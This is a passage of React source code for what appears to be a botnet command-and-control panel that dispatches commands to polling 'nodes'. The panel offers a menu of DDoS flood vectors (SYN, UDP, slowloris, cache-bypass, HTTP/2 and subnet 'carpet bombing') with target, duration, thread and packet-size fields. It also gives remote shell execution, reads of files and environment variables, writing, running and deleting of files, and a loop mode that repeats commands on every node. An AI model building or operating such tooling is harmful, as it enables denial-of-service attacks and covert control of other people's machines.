const requiresInterval = command === 'change_poll_interval';
const requiresShell = command === 'exec_shell';
const requiresPath = command === 'list_directory' || command === 'read_file' || command === 'delete_file' || command === 'write_file' || command === 'run_file' || command === 'copy_file' || command === 'move_file' || command === 'get_file_info';
const requiresDestPath = command === 'copy_file' || command === 'move_file';
const requiresContent = command === 'write_file';
const requiresPid = command === 'kill_process';
const requiresCustomJson = command === 'custom_json';
const [fileContent, setFileContent] = useState('echo hello');
const [destPath, setDestPath] = useState('/tmp/dest');
const [customJson, setCustomJson] = useState('{\n "payload": {\n "key": "value"\n }\n}');
const issueCommand = async () => {
let payload: any = {};
let finalType = command;
if (requiresCustomJson) {
try {
const parsed = JSON.parse(customJson);
if (parsed.type) finalType = parsed.type;
payload = parsed.payload || parsed;
} catch (e) {
setStatus('Invalid JSON payload');
return;
}
} else {
if (requiresTarget) payload = { ...payload, ip, port: parseInt(port) || 80 };
if (requiresFloodArgs) {
payload = { ...payload, duration: parseInt(duration), url: `http://${ip}:${port}` };
finalType = floodType; // Overwrite the generic command string with the actual flood logic to run
}
if (requiresThreads) payload = { ...payload, threads: parseInt(threads) };
if (requiresPacketSize) payload = { ...payload, packet_size: parseInt(packetSize) };
if (requiresHost) payload = { ...payload, host };
if (requiresPorts) payload = { ...payload, ports: portsList };
if (requiresInterval) payload = { interval: parseInt(interval) || 10 };
if (requiresShell) payload = { cmd: shellCmd };
if (requiresPath) payload = { path: filePath };
if (requiresDestPath) payload = { ...payload, destPath };
if (requiresContent) payload = { ...payload, content: fileContent };
if (requiresPid) payload = { pid: shellCmd };
}
try {
await fetch('/api/commands', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ target: targetNode, type: finalType, payload, repeat })
});
setStatus(`Dispatched '${finalType}' to ${targetNode === 'all' ? 'all nodes' : targetNode}.`);
setTimeout(() => setStatus(''), 3000);
} catch (e) {
setStatus('Failed to issue command.');
}
};
const stopLoop = async (id: string) => {
await fetch(`/api/commands/${id}`, { method: 'DELETE' });
setActiveCommands(prev => prev.filter(c => c.id !== id));
};
return (
<div className="flex flex-col gap-6">
<div className="mb-2">
<h2 className="text-2xl font-bold text-white tracking-tight">{category === 'network' ? 'Network Commands' : category === 'system' ? 'System Commands' : 'File Commands'}</h2>
<p className="text-slate-400 mt-1 text-sm leading-relaxed">
Issue {category === 'network' ? 'network diagnostic' : category === 'system' ? 'operational and system' : 'file system'} commands to managed nodes. Nodes poll periodically.
</p>
</div>
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6 items-start">
<Card title="Command Dispatch" icon={<Play size={18} />}>
<div className="flex flex-col gap-5">
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Target Node</label>
<select
value={targetNode}
onChange={(e) => setTargetNode(e.target.value)}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all text-sm appearance-none shadow-inner"
>
<option value="all">All Connected Nodes</option>
{nodes.map(n => <option key={n.id} value={n.id}>{n.id} ({n.type})</option>)}
</select>
</div>
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Operation Type</label>
<select
value={command}
onChange={(e) => setCommand(e.target.value)}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all text-sm appearance-none shadow-inner"
>
{category === 'network' && (
<optgroup label="Network Commands">
<option value="network_flood">L4/L7 Network Flood Attack</option>
<option value="fetch_http_test">HTTP Fetch Test (Simulated Load)</option>
<option value="socket_tcp_probe">TCP Socket Probe</option>
<option value="dns_resolve">DNS Resolve</option>
<option value="icmp_ping">ICMP Ping Test</option>
<option value="traceroute">Traceroute</option>
<option value="port_scan">Port Scan</option>
<option value="get_public_ip">Get Public IP</option>
<option value="arp_table">ARP Table</option>
<option value="netstat_connections">Netstat Connections</option>
<option value="ifconfig_ip">Network Interfaces (ifconfig/ipconfig)</option>
<option value="dns_mx_records">DNS MX Records</option>
<option value="dns_txt_records">DNS TXT Records</option>
<option value="route_table">Route Table</option>
<option value="wifi_networks">List WiFi Networks</option>
</optgroup>
)}
{category === 'system' && (
<optgroup label="System Commands">
<option value="check_uptime">Check Uptime</option>
<option value="report_sysinfo">Report System Info</option>
<option value="ping_heartbeat">Force Heartbeat Ping</option>
<option value="change_poll_interval">Change Interval</option>
<option value="get_system_info">Hardware Info (CPU/Mem)</option>
<option value="get_disk_space">Get Disk Space</option>
<option value="list_processes">List Processes</option>
<option value="kill_process">Kill Process (PID)</option>
<option value="get_env_vars">Get Env Vars</option>
<option value="get_users">List Users</option>
<option value="get_groups">List Groups</option>
<option value="system_logs">System Logs (dmesg/syslog)</option>
<option value="list_services">List Services (systemctl/sc)</option>
<option value="exec_shell">Exec Shell Command</option>
<option value="custom_json">Custom JSON Command</option>
<option value="reboot_system">Reboot System (Warning!)</option>
<option value="self_terminate">Terminate Client Process</option>
</optgroup>
)}
{category === 'file' && (
<optgroup label="File Commands">
<option value="list_directory">List Directory</option>
<option value="get_file_info">Get File Info</option>
<option value="read_file">Read/View File</option>
<option value="write_file">Add/Write File</option>
<option value="copy_file">Copy File</option>
<option value="move_file">Move/Rename File</option>
<option value="delete_file">Delete File</option>
<option value="run_file">Execute/Run File</option>
</optgroup>
)}
</select>
</div>
{requiresTarget && (
<div className="grid grid-cols-3 gap-4 border-t border-white/5 pt-5">
<div className="col-span-2">
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Target Host / IP</label>
<input
type="text"
value={ip}
onChange={e => setIp(e.target.value)}
placeholder="127.0.0.1"
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
/>
</div>
<div className="col-span-1">
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Port</label>
<input
type="text"
value={port}
onChange={e => setPort(e.target.value)}
placeholder="80"
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
/>
</div>
</div>
)}
{requiresFloodArgs && (
<div className="grid grid-cols-2 gap-4">
<div className="col-span-2">
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Flood Vector Method</label>
<select
value={floodType}
onChange={e => setFloodType(e.target.value)}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono"
>
<optgroup label="L7 Vectors (Application)">
<option value="http_get_flood">HTTP/1.1 GET Flood</option>
<option value="http_post_flood">HTTP/1.1 POST Flood</option>
<option value="slowloris">Slowloris (TCP Exhaustion)</option>
<option value="slow_post_flood">Slow POST (Body Exhaustion)</option>
<option value="api_abuse_flood">API Abuse Flood</option>
<option value="cache_bypass_flood">Cache Bypass Flood</option>
<option value="websocket_flood">WebSocket Abuse</option>
<option value="http2_multiplex">HTTP/2 Multiplex (Burst)</option>
<option value="http3_quic_flood">HTTP/3 QUIC Abuse (UDP)</option>
<option value="browser_emulation">Browser Emulation (Legit Traffic)</option>
</optgroup>
<optgroup label="L3/L4 Vectors (Network/Transport)">
<option value="udp_flood">UDP Raw Datagram Flood</option>
<option value="tcp_connect_flood">TCP Connect Flood</option>
<option value="syn_flood">SYN Flood (Requires Root)</option>
<option value="ack_flood">ACK Flood (Requires Root)</option>
<option value="connection_exhaustion">TCP Connection Exhaustion</option>
<option value="gre_flood">GRE Tunnel Flood (L3)</option>
<option value="carpet_bombing">Carpet Bombing (Subnet)</option>
</optgroup>
</select>
</div>
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Duration (s)</label>
<input type="text" value={duration} onChange={e=>setDuration(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
</div>
{requiresThreads && (
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Threads</label>
<input type="text" value={threads} onChange={e=>setThreads(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
</div>
)}
{requiresPacketSize && (
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Packet Size (bytes)</label>
<input type="text" value={packetSize} onChange={e=>setPacketSize(e.target.value)} className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono" />
</div>
)}
</div>
)}
{requiresHost && (
<div className="border-t border-white/5 pt-5 flex flex-col gap-4">
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Target Host / IP</label>
<input
type="text"
value={host}
onChange={e => setHost(e.target.value)}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
/>
</div>
{requiresPorts && (
<div>
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Ports (comma separated)</label>
<input
type="text"
value={portsList}
onChange={e => setPortsList(e.target.value)}
placeholder="80,443,8080"
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
/>
</div>
)}
</div>
)}
{requiresPath && (
<div className="border-t border-white/5 pt-5">
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">File / Directory Path</label>
<input
type="text"
value={filePath}
onChange={e => setFilePath(e.target.value)}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
/>
</div>
)}
{requiresDestPath && (
<div className="border-t border-white/5 pt-5">
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Destination Path</label>
<input
type="text"
value={destPath}
onChange={e => setDestPath(e.target.value)}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
/>
</div>
)}
{requiresContent && (
<div className="border-t border-white/5 pt-5">
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">File Content</label>
<textarea
value={fileContent}
onChange={e => setFileContent(e.target.value)}
rows={4}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
/>
</div>
)}
{requiresCustomJson && (
<div className="border-t border-white/5 pt-5">
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Custom JSON Payload</label>
<textarea
value={customJson}
onChange={e => setCustomJson(e.target.value)}
rows={6}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
placeholder={'{\n "type": "my_command",\n "payload": { ... }\n}'}
/>
</div>
)}
{requiresInterval && (
<div className="border-t border-white/5 pt-5">
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">Polling Interval (Seconds)</label>
<input
type="number"
value={interval}
onChange={e => setIntervalVal(e.target.value)}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
/>
</div>
)}
{(requiresShell || requiresPid) && (
<div className="border-t border-white/5 pt-5">
<label className="block text-sm font-medium text-slate-400 mb-1.5 px-1">{requiresPid ? 'Process ID (PID)' : 'Shell Command (Use carefully)'}</label>
<input
type="text"
value={shellCmd}
onChange={e => setShellCmd(e.target.value)}
className="w-full bg-black/20 border border-white/10 rounded-xl px-4 py-2.5 text-white focus:outline-none focus:border-indigo-500 transition-all font-mono text-sm shadow-inner"
/>
</div>
)}
<div className="flex items-center gap-2 mt-2 px-1">
<input type="checkbox" id="repeatMode" checked={repeat} onChange={e => setRepeat(e.target.checked)} className="rounded bg-black/20 border-white/10 text-indigo-500 focus:ring-indigo-500" />
<label htmlFor="repeatMode" className="text-sm text-slate-300 cursor-pointer">Repeat continuously (node will execute on every ping)</label>
</div>
<button
onClick={issueCommand}
className={`mt-2 px-6 py-3 ${repeat ? 'bg-indigo-500 hover:bg-indigo-400 shadow-indigo-500/30' : 'bg-red-500 hover:bg-red-400 shadow-red-500/30'} text-white rounded-xl font-medium shadow-lg transition-all flex items-center justify-center gap-2`}
>
<Terminal size={18} /> {repeat ? 'Start Background Loop' : 'Execute Operation'}
</button>
{status && <div className="p-3 px-4 bg-emerald-500/10 border border-emerald-500/20 text-emerald-400 text-sm rounded-xl font-medium flex items-center">{status}</div>}
</div>
</Card>
<div className="flex flex-col gap-6">
<Card title="Latest Execution Reports" icon={<Activity size={18} />}>
{reports.length === 0 ? (
<div className="text-center py-10 text-slate-400 text-sm">
<Activity className="w-8 h-8 mx-auto mb-2 opacity-20" />
Waiting for node reports...
</div>
) : (
<div className="flex flex-col gap-3 max-h-[350px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
{reports.map((report, idx) => (
<div key={idx} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm">
<div className="flex justify-between items-start mb-1.5">
<span className="font-mono text-indigo-300 text-xs">{report.nodeId}</span>
<span className="text-slate-500 text-xs">
{new Date(report.timestamp).toLocaleTimeString()}
</span>
</div>
<div className="text-white font-medium mb-1">{report.type || 'Unknown Command'}</div>
<ReportResultViewer report={report} />
</div>
))}
</div>
)}
</Card>
{activeCommands.length > 0 && (
<Card title="Active Command Loops" icon={<Activity size={18} />}>
<div className="flex flex-col gap-3 max-h-[250px] overflow-y-auto pr-2 scrollbar-thin scrollbar-thumb-white/10">
{activeCommands.map(cmd => (
<div key={cmd.id} className="bg-black/20 border border-white/5 rounded-xl p-3 text-sm flex items-center justify-between">
<div>
<div className="text-white font-medium text-sm flex items-center gap-2">
<div className="w-2 h-2 rounded-full bg-indigo-500 animate-pulse"></div>
{cmd.type}
</div>
<div className="text-slate-400 text-xs mt-1">Target: <span className="font-mono">{cmd.target}</span></div>
</div>
<button onClick={() => stopLoop(cmd.id)} className="text-xs text-red-400 border border-red-500/30 px-3 py-1.5 rounded-lg bg-red-400/10 hover:bg-red-400/20 transition-colors">
Stop Loop
</button>
</div>
))}
</div>
</Card>
)}
</div>
</div>
</div>
);
}